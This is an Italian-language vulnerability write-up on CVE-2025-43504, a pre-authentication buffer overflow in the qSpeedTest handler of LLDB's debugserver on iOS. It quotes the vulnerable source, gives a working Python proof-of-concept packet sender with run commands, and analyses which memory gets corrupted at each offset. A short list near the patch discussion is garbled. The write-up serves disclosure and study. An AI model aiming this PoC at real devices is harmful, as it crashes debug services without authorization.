
Analisi tecnica approfondita di CVE-2025-43504, un overflow globale del buffer remoto pre-autenticazione in debugserver di LLDB per iOS, con codice PoC e analisi dello sfruttamento.
Crescendo, mi è sempre piaciuto rovistare tra i contenitori di DVD al mio Walmart locale. Notavo che molti degli stessi film venivano lasciati in cima, ma se scavavi un po', trovavi titoli più interessanti e di nicchia.
Quando un programma eccede un buffer, in pratica stai frugando nel suo cestino delle occasioni. A seconda di quanto vai in profondità, i DVD – o in questo caso, le strutture sovrascritte in memoria – possono cambiare.
Il /bin dell'occasione di oggi è CVE-2025-43504: Un overflow globale del buffer remoto pre-autenticazione che ho trovato in LLDB's debugserver.
Durante lo sviluppo di applicazioni, gli sviluppatori spesso hanno bisogno di eseguire il debug della loro app su un dispositivo iOS fisico. Per farlo, Xcode monta una Developer Disk Image sull'iPhone di destinazione e poi si accoppia con esso.
Una volta accoppiato, l'host macOS è in grado di comunicare con il client iOS utilizzando il debugserver installato sul client. Ora qualsiasi client che può stabilire una sessione GDB-remota con il debugserver del dispositivo può raggiungere il gestore qSpeedTest e overfloware il buffer vulnerabile.
Diamo un'occhiata alla pagina di rilascio della sicurezza di Xcode 26.1 per capire meglio come Apple ha categorizzato CVE-2025-43504:

A causa delle moderne mitigazioni software, Apple considera gli overflow di buffer principalmente come un problema di denial-of-service piuttosto che come una primitiva di corruzione. Come esploreremo oggi, questo è generalmente vero: un attaccante dovrà superare diverse barriere e probabilmente abbinare questo problema con un altro bug per ottenere l'esecuzione arbitraria di codice.
Se volete sperimentare con una versione pre-patch di debugserver, usate il seguente commit o qualsiasi commit precedente a ac8e7be5fbd11f731ffc81bf3bbae50a5a4d83de:
git clone https://github.com/llvm/llvm-project.git
cd llvm-project
git checkout 37cd595c1ccb1fd84ebdfeb0d959744a4d13726c
Prima della patch in RNBRemote.cpp, qualsiasi utente remoto che potesse connettersi al debugserver di un dispositivo iOS poteva inviare un pacchetto qSpeedTest pre-autenticazione a RNBRemote::HandlePacket_qSpeedTest e corrompere le strutture adiacenti nel segmento dati globale di debugserver.
Tuttavia, c'è un'importante avvertenza: controlliamo solo la lunghezza della corruzione. Il contenuto del payload è fisso a un flusso di caratteri 'a'. Mentre gli studenti potrebbero apprezzare i voti costantemente alti, l'utilità pratica di questo overflow è notevolmente limitata dal fatto che non possiamo controllare i byte effettivamente scritti – solo quanto lontano arriva l'inondazione di 'a'.
Ora diamo un'occhiata al cofano di RNBRemote::HandlePacket_qSpeedTest per vedere esattamente cosa sta succedendo:
rnb_err_t RNBRemote::HandlePacket_qSpeedTest(const char *p) {
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
// Controlliamo la lunghezza di response_size
uint64_t response_size = ::strtoul(p, &end, 16);
if (errno != 0)
return HandlePacket_ILLFORMED(
__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
// L'overflow di g_data con 'a' avviene qui
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
return SendPacket(g_data);
} else {
return SendErrorPacket("E79");
}
}
Il ruolo di RNBRemote::HandlePacket_qSpeedTest() è di elaborare i pacchetti qSpeedTest:response_size:<hex>; in arrivo senza richiedere autenticazione da un utente remoto che può comunicare con il binario debugserver del dispositivo iOS.
Tuttavia, una volta che un utente remoto è in grado di inviare un pacchetto qSpeedTest:response_size:<hex>; a debugserver, non si verificano controlli di autenticazione all'interno di debugserver prima di elaborare il response_size fornito dall'utente. Pertanto, qualsiasi utente che possa comunicare con un dispositivo iOS su cui è montata una Developer Disk Image è in grado di overfloware debugserver tramite un pacchetto qSpeedTest:response_size:<hex>;.
Ora che abbiamo raggiunto la funzione vulnerabile RNBRemote::HandlePacket_qSpeedTest(), esaminiamo esattamente come avviene l'overflow. Innanzitutto, la dimensione fornita dall'utente <hex> nel pacchetto qSpeedTest:response_size:<hex>; viene estratta e memorizzata nella variabile response_size:
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
uint64_t response_size = ::strtoul(p, &end, 16);
Se l'analisi ha successo e il prossimo carattere è un punto e virgola, un buffer statico locale da 4 MiB + 16 byte g_data viene inizializzato e riempito con l'intestazione ASCII "data:":
if (errno != 0)
return HandlePacket_ILLFORMED(__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
Mettendo tutto insieme, memset riempie il buffer statico da 4 MiB + 16 byte g_data con 'a' utilizzando il valore di response_size controllato dall'utente come numero di 'a' da usare.
// L'overflow di g_data con 'a' avviene qui
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
Pertanto, ogni volta che un client LLDB remoto invia un pacchetto qSpeedTest:response_size:<hex>; con un response_size maggiore del buffer da 4 MiB + 16 byte, si verifica un overflow del buffer che corrompe le variabili globali adiacenti memorizzate nel segmento dati globale (.bss) di debugserver.
Ora che abbiamo compreso l'architettura alla base dell'overflow, addentriamoci nei meccanismi reali della vulnerabilità. Per iniziare, utilizziamo il seguente programma Python per esplorare le primitive di corruzione ottenute attraverso l'overflow di g_data:
import argparse, socket
def frame(payload: bytes) -> bytes:
return b"$" + payload + (b"#%02x" % (sum(payload) & 0xFF))
def send_one(host: str, port: int, resp_hex: str):
payload = b"qSpeedTest:response_size:" + resp_hex.encode("ascii") + b";"
pkt = frame(payload)
s = socket.create_connection((host, port), timeout=5.0)
s.settimeout(1.5)
try:
# invia il qSpeedTest sovradimensionato
s.sendall(pkt)
try:
_ = s.recv(1) # ACK (best effort)
except Exception:
pass
# Piccolo stimolo opzionale per esercitare l'uso del puntatore
try:
s.sendall(frame(b"?"))
_ = s.recv(1)
except Exception:
pass
finally:
try: s.close()
except Exception: pass
def main():
ap = argparse.ArgumentParser(description="Invia un singolo pacchetto qSpeedTest con response_size scelto")
ap.add_argument("--host", default="127.0.0.1")
ap.add_argument("--port", type=int, default=1234)
ap.add_argument("--size", required=True,
help="Stringa esadecimale per response_size (senza prefisso 0x), es. 40100a o 500000")
args = ap.parse_args()
print(f"[i] Invio di qSpeedTest:response_size:0x{args.size} a {args.host}:{args.port}")
send_one(args.host, args.port, args.size)
print("[i] Fatto. Se debugserver è crashato, controlla il log per SIGSEGV/SIGBUS e l'indirizzo di fault.")
if __name__ == "__main__":
main()
Dopo aver avviato debugserver, eseguiamo il seguente comando python3 e forniamo il response_size di 4004AB:
python3 poc.py --host 127.0.0.1 --port 1234 --size 4004AB
Notiamo che debugserver non crasha e ritorna normalmente:

Anche se tecnicamente siamo fuori dai limiti, g_data viene terminato con un byte \0, quindi il puntatore a funzione di logging vicino g_log_callback viene sovrascritto solo da un byte NULL, mantenendo l'intero puntatore NULL.
Dopo aver avviato debugserver, eseguiamo il seguente comando python3 e forniamo il response_size di 0x4004AC:
python3 poc.py --host 127.0.0.1 --port 1234 --size 0x4004AC
%
Great Scott!

Fornendo un byte in più, abbiamo superato la coda NULL e abbiamo finito per dereferenziare il puntatore adiacente `g_log_callback` con un valore di `0x61`, causando un crash. Ora, incrementiamo continuamente il parametro `--size` di uno e vediamo cosa succede:

Come possiamo vedere, ora controlliamo il valore di `g_log_callback`. Beh, parzialmente, controlliamo solo quanti byte in `g_log_callback` sono uguali a `0x61`.
Possiamo vedere questo accadere in [`_DNBLogVAPrintf`](https://github.com/llvm/llvm-project/blob/main/lldb/tools/debugserver/source/DNBLog.cpp#L65-L72):
```cpp
static inline void _DNBLogVAPrintf(uint32_t flags, const char *format,
va_list args) {
static std::recursive_mutex g_LogThreadedMutex;
std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);
if (g_log_callback)
g_log_callback(g_log_baton, flags, format, args);
}
Poiché g_log_callback non è NULL, il mutex viene bloccato e procede a chiamare il nostro puntatore corrotto e crasha. Ora, dopo un response_size di 0x4004B3, smettiamo di vedere cambiamenti reali nell'indirizzo di crash o nella corrispondente traccia dello stack fino a quando non viene aggiunto un offset di 0x7F a response_size. Logicamente, questo ha senso, perché una volta che il puntatore g_log_callback viene corrotto, qualsiasi successiva corruzione all'interno di altre strutture di logging diventa irrilevante a causa del crash iniziale dovuto alla dereferenziazione di g_log_callback.
È interessante notare che, su una release di produzione di macOS precedente alla patch, sono stato in grado di utilizzare questo controllo parziale del puntatore per sovrascrivere vari puntatori nello spazio utente in memoria:
0x0000000105006169
0x0000000103006169
0x0000000a0a006169
0x00000009d8006169
0x0000000103006169
0x0000000734006169
0x0000000100006169
Per qualche motivo, il byte finale di ogni indirizzo veniva sempre incrementato di 0x8 byte. Tuttavia, se fossimo in grado di risolvere il problema di allineamento creato dai byte finali 0x6169, e in qualche modo riuscissimo a prevedere e controllare i dati dereferenziati dal puntatore sovrascritto, teoricamente potremmo reindirizzare il flusso di controllo e ottenere l'esecuzione di codice.
Abbiamo brevemente discusso del blocco del mutex prima di dereferenziare il puntatore g_log_callback corrotto. Ora, al response_size di 0x40052C, il mutex stesso viene corrotto:

Notiamo che il problema è apparso quando _DNBLogVAPrintf ha eseguito la costruzione di lock_guard:
std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);
Basandoci sulla traccia dello stack, vediamo che lock_guard fallisce quando viene chiamato __m_.lock:
31│ _LIBCPP_HIDE_FROM_ABI explicit lock_guard(mutex_type& __m) _LIBCPP_THREAD_SAFETY_ANNOTATION(acquire_capability(__m))
32│ : __m_(__m) {
33│ __m_.lock();
│ ▲
34│ }
35│
Esaminando ulteriormente, diamo un'occhiata alla definizione della funzione std::recursive_mutex:
void recursive_mutex::lock() {
int ec = __libcpp_recursive_mutex_lock(&__m_);
if (ec)
std::__throw_system_error(ec, "recursive_mutex lock failed");
}
Sembra essere un wrapper per __libcpp_recursive_mutex_lock:
inline _LIBCPP_HIDE_FROM_ABI _LIBCPP_NO_THREAD_SAFETY_ANALYSIS int
__libcpp_recursive_mutex_lock(__libcpp_recursive_mutex_t* __m) {
return pthread_mutex_lock(__m);
}
Che a sua volta sembra essere un wrapper per pthread_mutex_lock:
PTHREAD_NOEXPORT_VARIANT
int
pthread_mutex_lock(pthread_mutex_t *mutex)
{
return _pthread_mutex_lock(mutex, false);
}
Che è un altro wrapper per _pthread_mutex_lock... Ma non abbiamo bisogno di andare così lontano.
Poiché il puntatore pthread_mutex_t viene corrotto dal nostro overflow, pthread_mutex_lock lancia std::system_error("recursive_mutex lock failed") e il programma quindi lancia un abort() e termina.
A causa dell'abort del programma, lo sfruttamento del response_size tra 0x40052C e 0x402C62 è significativamente più impegnativo poiché stiamo corrompendo una primitiva di sincronizzazione dati i controlli aggiuntivi eseguiti da macOS.
Ora, quando usiamo un response_size di 0x402C63 o maggiore, la CPU va in fault in RNBRemote::HandlePacket_qSpeedTest non appena memset attraversa il confine verso qualsiasi pagina di guardia o regione non mappata che il kernel ha posto dopo il segmento .bss in memoria:

Questa variante finale dell'overflow non è così interessante poiché non esiste un modo diretto per controllare l'esecuzione del programma.
Ora che abbiamo coperto il problema stesso, esaminiamo come Apple lo ha patchato:

Secondo la descrizione della patch,
Change this allocation to be on heap, and impose a maximum size that can be tested (4MB, for now).
Vediamo due cambiamenti principali:
.bss) di debugserverDato l'esteso ecosistema closed-source alla base del software e dei sistemi Apple, è sempre una sfida scoprire e comprendere in modo affidabile i difetti software.
Tuttavia, ci sono sempre dipendenze open-source su cui Apple fa affidamento, e se riesci a trovare un problema in una di esse, è probabile che ci possano essere effetti a valle.
Buona caccia e assicurati di divulgare responsabilmente qualsiasi problema tu possa trovare 😉